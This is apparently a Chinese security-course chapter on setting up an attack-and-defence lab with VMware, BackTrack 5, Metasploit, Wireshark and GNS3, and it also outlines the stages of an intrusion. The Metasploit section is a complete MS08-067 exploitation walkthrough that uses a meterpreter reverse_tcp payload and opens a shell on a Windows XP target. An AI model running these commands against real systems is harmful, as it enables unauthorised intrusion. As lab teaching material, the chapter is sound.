1、第01章 网络攻防准备,By 王隆杰,目录,1.1 黑客简介 1.2 VMWare Workstation虚拟机软件 1.3 BackTrack 5安全平台 1.4 Metasploit渗透工具 1.5 Wireshark包分析工具 1.6 GNS3网络设备模拟器,1.1 黑客简介,1.1.1 什么是黑客 (1)黑客(Hacker):他们都是水平高超的电脑专家,尤其是程序设计人员,是一个统称。 (2)红客(Honker):维护国家利益,代表人民的意志,他们热爱自己的祖国、民族、和平,极力维护国家安全与尊严。 (3)骇客(Cracker):“破解者”的意思。从事恶意破解商业软件、恶意入侵别人的网
2、站等事务,与黑客近义。其实黑客与骇客本质上是相同的,都是闯入他人计算机系统的入侵者。黑客和骇客并没有一个十分明显的界限,随着两者的含义越来越模糊,公众也不太区分两者的含义了。,1.1 黑客简介,1.1.2 黑客入侵的步骤黑客攻击大致可以分为五个步骤:搜索、扫描、获得权限、保持连接,消除痕迹 1. 第一阶段:搜索 搜索可能是很耗时的,有时候可能会持续几个星期甚至几个月。黑客会利用各种渠道尽可能多地了解企业,包括以下手段:(1)在Internet上搜索,(2)社会工程,(3)垃圾数据搜寻,(4)域名信息收集,(5)非侵入性的网络扫描。这些类型的活动很难防范的。很多公司的信息在Internet上都很
3、容易搜索到,员工也往往会无意中提供了相应的信息,公司的组织结构以及潜在的漏洞就会被发现。 2. 第二阶段:扫描 一旦黑客对公司网络的具体情况有了足够的了解,黑客就可以使用扫描软件对目标进行扫描以寻找潜在的漏洞,包括以下信息:(1)每一台局域网/广域网设备的品牌和型号,(2)开放的端口及应用服务,(3)操作系统在内的漏洞,(4)保护性较差的数据传输。在扫描目标时,黑客往往会受到入侵保护系统(IPS)或入侵检测系统(IDS)的阻止,但情况也并非总是如此,技术高超的黑客可以绕过这些防护措施。,1.1 黑客简介,3. 第三阶段:获得权限 当黑客收集到足够的信息,对系统的安全弱点有了了解后就会发动攻击。
4、黑客会根据不同的网络结构、不同的系统情况而采用不同的攻击手段。一般黑客攻击的终极目的是能够控制目标系统,窃取其中的机密文件等,但并不是每次黑客攻击都能够控制目标主机,有时黑客也会发动服务拒绝之类的攻击,使系统不能正常工作。 4. 第四阶段:保持连接 黑客利用种种手段进入目标主机系统并获得控制权之后,不是像大家想象的那样会马上进行破坏活动,删除数据、涂改网页等。一般入侵成功后,黑客为了能长时间地保持和巩固他对系统的控制权而不被管理员发现,通常会留下后门。黑客会更改某些系统设置、在系统中种植木马或其他一些远程操纵程序。 5. 第五阶段:消除痕迹 在实现攻击的目的后,黑客通常会采取各种措施来隐藏入侵
5、的痕迹,例如:清除系统的日志。,1.2 VMWare Workstation虚拟机软件,1.2.1 VMWare Workstation简介VMware Workstation是一款功能强大的桌面虚拟软件,提供用户可在单一的桌面(实体计算机)上同时运行不同的操作系统,是进行开发、测试 、部署新的应用程序的最佳解决方案。VMware Workstation可在一部实体计算机上模拟完整的网络环境,以及可便于携带的虚拟机器,其更好的灵活性与先进的技术胜过了市面上其他的桌面虚拟软件。对于企业的 IT开发人员和系统管理员而言,VMware在虚拟网路,实时快照,拖曳共享文件夹,支持 PXE 等方面的特点使
6、它成为必不可少的工具。,1.2 VMWare Workstation虚拟机软件,1.2.2 VMWare Workstation的安装,启动VMware安装程序,在 “VMware Workstation Setup”窗口,单击“Next”按钮。余下步骤,除了下面要介绍的步骤外,均直接单击“Next”按钮。,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,如果不习惯VMware Workstation英文界面,可以安装汉化补丁。启动补丁程序,选中“我接收许可证协议中的条款”按钮,单击“下一步”按钮。余下个步骤,均单击“下一步”按钮
7、即可。,1.2 VMWare Workstation虚拟机软件,安装完成后,双击桌面的“VMware Workstation”图标,启动程序。,1.2 VMWare Workstation虚拟机软件,1.2.3 VMWare Workstation的使用 1. 创建新的虚拟机:VMware可以虚拟出和实体计算机一样的虚拟计算机,虚拟计算机有CPU、RAM、显示器、硬盘、网卡等。如果实体计算机上的CPU、RAM足够强大,可以在VMware上运行多个虚拟机,这样用户就可以把多个虚拟机联网组成一个小网络 。,1.2 VMWare Workstation虚拟机软件,选择“自定义(高级)”单选项,使用该
8、选项,用户可以对虚拟机的硬件配置进行设置。如果对虚拟机无特殊需求,可以选择“标准(推荐)”单选项,这样可以减少创建的步骤。,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,VMware只是虚拟了一台计算机而已,就像用户刚组装了一台计算机一样,虚拟计算机并没有操作系统,需要新安装操作系统。可以从光盘,也可以从光盘的镜像文件(ISO文件)来安装操作系统。,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,建议实体计算机
9、上的内存大于:虚拟机个数*1G+2G,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,如果想使用以前创建的虚拟磁盘,可以选择“使用一个已存在的虚拟磁盘”加载即可。如果选择“使用物理磁盘”选项,则虚拟机会把实体计算机上的某个分区作为虚拟磁盘使用,这样可以提高性能,但是不便于把虚拟机复制到其他计算机上,故不建议使用。,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软
10、件,1.2 VMWare Workstation虚拟机软件,1.2 VMWare Workstation虚拟机软件,2. 编辑虚拟机设置:虽然在创建虚拟机时,已经指定了虚拟机的设置,但是还是可以在创建后,编辑虚拟机的设置。,1.2 VMWare Workstation虚拟机软件,3. 在虚拟机里安装系统,1.2 VMWare Workstation虚拟机软件,4. 使用虚拟计算机 (1)虚拟机的电源管理,1.2 VMWare Workstation虚拟机软件,(2)打开已有的虚拟机:如果之前已经创建了虚拟机,或者从别处拷贝过来,从“开始”“打开”菜单,在虚拟机所在的目录下找到“.vmx”文件,
11、就能打开虚拟机。 (3)从虚拟机中释放键盘和鼠标。如果虚拟机是非Windows系统,例如:Linux、DOS等,则当用户把鼠标移动到虚拟机中并单击,这时实体计算机上的键盘和鼠标就成了虚拟机的键盘和鼠标了。如果要从虚拟机中释放键盘和鼠标,请按左边的“Ctrl+Alt”键。 (4)安装VMware工具(VMware Tools),1.2 VMWare Workstation虚拟机软件,(5)磁盘的非持久模式 :把虚拟机的磁盘模式改为非持久,只要把虚拟机电源关闭,则磁盘上的数据会还原为电源开启之前的状态。,1.2 VMWare Workstation虚拟机软件,5. 虚拟网络配置,1.2 VMWar
12、e Workstation虚拟机软件,一旦在VMware中添加这些虚拟网络,则在实体计算机上的“网络”会生成相应的虚拟网卡(桥接类型的虚拟网络除外),1.2 VMWare Workstation虚拟机软件,VMware中,虚拟网络(VMnet)有三种连接模式: (1)桥接:该虚拟网络和实体计算机的网卡以网桥方式连接。虚拟网络和实体计算机上的物理网卡进行桥接,这样使用该虚拟网络的虚拟计算机就能够借用实体计算机的物理网卡和实体网络进行通信了。当然虚拟计算机上的网卡需要配置和实体计算机同一IP网段的IP地址。,1.2 VMWare Workstation虚拟机软件,(2)NAT:实体计算机上启用了N
13、AT,连接到该虚拟网络的虚拟计算机通过NAT和物理网络进行连接,1.2 VMWare Workstation虚拟机软件,(3)仅主机:则虚拟网络和实体计算机没有任何网络连接,仅和连接到同一虚拟网络的虚拟计算机之间可以通信。,1.2 VMWare Workstation虚拟机软件,在VMware中编辑好虚拟网络后,可以在“虚拟机设置”中配置虚拟机网卡和哪个虚拟网络进行连接。,1.2 VMWare Workstation虚拟机软件,选择“桥接”时,则该虚拟机的网卡和VMnet0虚拟网络进行连接;选择“NAT”时,则该虚拟机的网卡和VMnet8虚拟网络进行连接;选择“仅主机”时,则该虚拟机的网卡和V
14、Mnet1虚拟网络进行连接。还可以把网卡连接到自定义的虚拟网络中。,1.3 BackTrack 5安全平台,1.3.1 BackTrack 5简介 BackTrack平台集成了大量功能强大但简单易用的安全工具软件,读者会发现以前苦苦追寻的工具赫然在目。虽然BackTrack还是基于Linux,但用户可以直接用菜单或者命令来启动各种工具,不需要编译源代码或安装了,因为这些工具已经集成在BackTrack了。即使有些工具没有被集成进来,用户也只需要执行简单的命令“apt-get install XXXX”安装即可,不需要复杂的编译和安装。 http:/www.backtrack-linux.org
15、 是BackTrack的官方网站。http:/ 是BackTrack的中文论坛,1.3 BackTrack 5安全平台,下载BT5R3-GNOME-VM-32虚拟机文件后,在VMware打开,1.3 BackTrack 5安全平台,1.3 BackTrack 5安全平台,1.3.2 BackTrack 5的使用 1. 启用图形界面 启动BackTrack后,还处于命令行界面,用鼠标单击虚拟机窗口,虚拟机将获得键盘、鼠标的控制权,可以使用左边的“Ctrl+Alt”键释放控制权。 用“root”用户登录,密码为“toor”。虽然很多工具可以在命令行下运行,但是对于初学者还是图形界面比较习惯,输入“
16、startx”命令即可。,1.3 BackTrack 5安全平台,2. 配置网络 ifconfig -a /查看所有网卡的信息 ifconfig eth0 up /启动网卡eth0 ifconfig eth0 down /关闭网卡eth0 dhclient eth0 /网卡eth0自动获取IP ifconfig eth0 192.168.1.112/24/临时设置网络eth0的IP和子网掩码,重启后丢失 echo nameserver 192.168.1.1 /etc/resolv.conf /设置DNS地址为192.168.1.1,1.3 BackTrack 5安全平台,设置静态IP,需要编
17、辑/etc/network/interfaces这个文件,内容如下: auto lo iface lo inet loopback#auto eth0 #iface eth0 inet dhcp auto eth0 iface eth0 inet static /接口采用静态IP address 192.168.1.250 /接口的IP地址 netmask 255.255.255.0 /掩码 network 192.168.1.0 /网络地址 broadcast 192.168.1.255 /广播地址 gateway 192.168.1.1 /网关编辑、保存/etc/network/inter
18、faces文件后,使用以下命令重启网卡: /etc/init.d/networking restart,1.3 BackTrack 5安全平台,3. 更新或安装应用程序 需要经常更新BackTrack,以保证系统是最新的。先使用命令“apt-get update”同步索引文件,再使用命令“apt-get upgrade”把所有软件包更新到最新版本,可能需要等待较长一段时间。如果某些软件包没有被集成到BackTrack中来,可以使用“apt-get install ”命令进行安装。例如:apt-get install hunt,hunt是一个TCP会话劫持工具。,1.3 BackTrack 5安
19、全平台,1.3 BackTrack 5安全平台,4. 关机或重启系统 使用“poweroff”命令可以关闭系统,使用“reboot”命令重启系统。,1.4 Metasploit渗透工具,1.4.1 Metasploit简介Metasploit是一个号称“黑掉整个星球”、免费的渗透测试工具,通过它可以很容易获得、开发计算机软件的漏洞,并对计算机实施攻击。Metasploit有免费版和商业版本,Metasploit Framework(MSF)是免费版。 Metasploit Framework已成为一个研究高危漏洞的途径,它集成了各平台上常见的溢出漏洞和流行的Shellcode ,并且不断更新。
20、最新版本的 MSF 包含了920多种流行的操作系统及应用软件的漏洞,以及250个 Shellcode 。,1.4 Metasploit渗透工具,1.4.2 Metasploit的使用 被攻击者是一台没有打补丁的Windows XP SP2中文版的计算机,这个版本的系统存在MS08-067漏洞,1.4 Metasploit渗透工具,(1)启动Metasploit。 BackTrack 5 R3已经集成了Metasploit,在BackTrack5中打开一个终端,执行“msfconsole”命令,启动控制台。Metasploit有各种各样的模块,所谓的模块是一段代码。模块又有很多种类,典型的有攻击
21、模块(exploit模块),就是用于实际发起渗透的代码;也有辅助模块(auxiliary模块),是执行扫描之类动作的模块。Metasploit还有攻击载荷(Payload),Payload是目标系统被渗透成功后执行的代码。一般是先使用攻击模块对目标系统进行攻击,攻击成功后执行Payload 。,1.4 Metasploit渗透工具,在控制台中,可以执行“help”命令查看全部命令帮助,执行“help search”命令则查看“search”命令的帮助信息;使用“exit”则退出控制台,回到Linux终端下。在控制台下,使用“Tab”键能自动补全命令。,1.4 Metasploit渗透工具,使用
22、“show”命令可以查看模块的信息,如下: msf show 【连按两次Tab键】 show all show exploits show payloads show auxiliary show nops show plugins show encoders show options show post msf show exploits /查看有什么攻击模块(exploit模块) msf show payload /查看有什么payload 如果不知道模块的确切名字,可以使用“search”命令查找: msf search ms08_067 /查找带“ms08_067”关键字的模块,1.4
23、 Metasploit渗透工具,msf use exploit/windows/smb/ms08_067_netapi /使用找到的模块 msf exploit(ms08_067_netapi) /进入到模块模式,注意提示符的变化 msf exploit(ms08_067_netapi) set PAYLOAD windows/meterpreter/reverse_tcp /设置所使用的payload,渗透成功后以上的payload会从目标主机发起一个发弹连接msf exploit(ms08_067_netapi) show options /显示需要设置什么选项 /以下是攻击模块需要设置的
24、选项名,如果Required列为yes,则表示该选项是必须值 msf exploit(ms08_067_netapi) set LHOST 192.168.1.105 LHOST = 192.168.1.105 /payload反弹后连接的IP,即攻击者的IPmsf exploit(ms08_067_netapi) show targets /显示有哪些目标的类型,1.4 Metasploit渗透工具,msf exploit(ms08_067_netapi) set TARGET 17 /目标为Windows XP SP2中文版 TARGET = 17msf exploit(ms08_067_
25、netapi) show options /把全部设置检查一下 msf exploit(ms08_067_netapi) exploit /开始攻击 meterpreter help /可以查看该模式下的命令帮助 meterpreter shell /进入目标系统的交互命令行shell C:WINDOWSsystem32Z /按“Ctrl+z”键 Background channel 1? y/N /回答“y”,把shell放到后台,频道为1 meterpreter /回到了payload会话 meterpreter background /把payload会话放到后台 msf exploit
26、(ms08_067_netapi) /回到模块模式 msf exploit(ms08_067_netapi) sessions,1.4 Metasploit渗透工具,msf exploit(ms08_067_netapi) sessions -i 1 /使用ID为1的会话 * Starting interaction with 1. meterpreter /回到了之前放到后台payload的会话 meterpreter exit /关闭payload会话,回到模块模式 * Shutting down Meterpreter. msf exploit(ms08_067_netapi) msf
27、exploit(ms08_067_netapi) exit /退出msf控制台 rootbt:# /回到了Linux命令提示符,1.5 Wireshark包分析工具,1.5.1 Wireshark简介Wireshark(前称Ethereal)是一个网络数据包分析软件,它的功能是捕捉网络数据包,并尽可能显示出最为详细的网络数据包资料。正常情况下,计算机上的网卡收到数据帧时,会查看数据帧的目的MAC和本网卡的MAC地址是否相同。如果不同就丢弃帧,如果相同就接收帧并交给上一层处理。对于广播帧或者组播帧,网卡也会接收下来。计算机上启动网络数据包分析软件情况时,计算机上的网卡会被置为混杂模式,只要数据帧
28、能达到网卡,不论帧的目的MAC和本网卡的MAC地址是否相同,网卡将全部接收并交给网络嗅探器处理。Wireshark的安装非常简单,全部单击“Next”按钮即可。Wireshark依赖WinPcap来工作,如果计算机未安装过WinPcap软件,安装程序会要求安装WinPcap,也是全部单击“Next”按钮即可。,1.5 Wireshark包分析工具,1.5.2 Wireshark的使用 1. 抓包,1.5 Wireshark包分析工具,1.5 Wireshark包分析工具,1.5 Wireshark包分析工具,2. 过滤器(Filter)的使用 Wireshark抓包可能会抓到大量的数据包,但是
29、用户通常不会关心全部的数据包,而只关心特定数据包,因此过滤出想要的数据包就很重要,可以使用过滤器达到目的,1.5 Wireshark包分析工具,1.6 GNS3网络设备模拟器,1.6.1 GNS3简介 GNS3是一款优秀的、免费的、图形化界、Cisco路由器和交换机模拟软件,比起以前的Boson、Packet Tracer模拟器,GNS3模拟出的设备几乎和真实一样。如果没有实际的网络设备而又想进行网络攻防实验,那GNS3将是首选的模拟器。GNS3运行的是真实的IOS,因此模拟的效果几乎和真实设备是一致的;只要更换一下IOS,就能模拟出运行相同IOS的设备。,1.6 GNS3网络设备模拟器,GN
30、S3软件可以从http:/下载。 全部单击“Next”按钮即可。安装程序会要求安装WinPcap,如果计算机未安装过WinPcap软件,安装程序会要求安装WinPcap,也是全部单击“Next”按钮即可。,1.6 GNS3网络设备模拟器,1.6.2 GNS3的使用 1. 配置GNS3,1.6 GNS3网络设备模拟器,1.6 GNS3网络设备模拟器,2. 配置IOS,1.6 GNS3网络设备模拟器,3. 添加并配置设备,1.6 GNS3网络设备模拟器,4. 添加设备间的链接,1.6 GNS3网络设备模拟器,5. 修改控制台端口当模拟器模拟出的路由器等设备开机后,用户就通过telnet实体计算机的
31、这个端口来访问路由器等设备,例如:“telnet 192.168.1.105 2002”,其中192.168.1.105是运行GNS3模拟软件的计算机的IP地址,2002是路由器R1的Console端口号。,1.6 GNS3网络设备模拟器,6. 和计算机进行桥接:把路由器的以太网接口和实体网络或者VMware虚拟机进行连接,这时需要用到“Cloud”这个设备。,1.6 GNS3网络设备模拟器,7. 启动并访问设备,1.6 GNS3网络设备模拟器,说明:GNS3对计算机的CPU要求较高,有时会出现CPU利用率100%的情况。建议计算机最好有4核以上CPU,这样拓扑中有10台以下的设备就能顺畅运行。也可以右击设备,在弹出菜单选择“Idle PC”优化CPU的利用率。,1.6 GNS3网络设备模拟器,8. 保存拓扑 从“文件” “保存”菜单,可以把拓扑保存。下次使用时,从“文件” “打开”菜单,可以打开已保存的拓扑。,